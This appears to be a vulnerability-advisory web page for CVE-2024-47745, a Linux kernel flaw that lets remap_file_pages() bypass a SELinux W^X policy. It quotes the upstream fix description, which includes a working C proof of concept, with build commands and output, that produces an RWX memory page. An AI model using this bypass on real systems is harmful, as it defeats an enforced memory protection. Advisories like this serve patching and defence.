Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2024-47745 — debian-linux

🟠 CVSS 7.8 — High ✅ No Known Exploit CWE-670 NVD
7.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

mm: call the security_mmap_file() LSM hook in remap_file_pages()

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which

doesn't contain the LSM security check. And if the process has called

personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for

RW pages, this will actually result in remapping the pages to RWX,

bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the

remap_file_pages syscall handler before do_mmap() is called. Otherwise, it

potentially permits an attacker to bypass a W^X policy enforced by

SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via

AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {

size_t pagesz = sysconf(_SC_PAGE_SIZE);

int mfd = syscall(SYS_memfd_create, "test", 0);

const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,

MAP_SHARED, mfd, 0);

unsigned int old = syscall(SYS_personality, 0xffffffff);

syscall(SYS_personality, READ_IMPLIES_EXEC | old);

syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);

syscall(SYS_personality, old);

// show the RWX page exists even if W^X policy is enforced

int fd = open("/proc/self/maps", O_RDONLY);

unsigned char buf2[1024];

while (1) {

int ret = read(fd, buf2, 1024);

if (ret <= 0) break;

write(1, buf2, ret);

}

close(fd);

}

$ gcc test.c -o test

$ ./test | grep rwx

7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2024-47745 is classified as CWE-670: Always-Incorrect Control Flow Implementation. The control flow does not do what the logic intends, so a check never has the effect it appears to have.

Affected software

CVE-2024-47745 is recorded against 3 packages.

  • debian-linux
  • kernel (from 6.11.0 up to 6.11.2)
  • linux-kernel (from 6.11 up to 6.11.2)

Timeline and source

Published on 21 October 2024 and last revised on 4 August 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

git.kernel.org
git.kernel.org
git.kernel.org
git.kernel.org
git.kernel.org
lists.debian.org

Other advisories for this package

debian-linux has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-670: Always-Incorrect Control Flow Implementation) in other software:

Details

Severity HIGH
CVSS Score 7.8
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-670
Public Exploit ✅ No
Source NVD
Published 2024-10-21
Updated 2026-08-20
Modified 2026-08-04

Affected Packages

Software From version Fixed in
debian-linux — —
kernel 6.11.0 6.11.2
linux-kernel 6.11 6.11.2

Similar Threats

Site Security Check

Is debian-linux part of your stack?

CVE-2024-47745 is rated CVSS 7.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2024
✓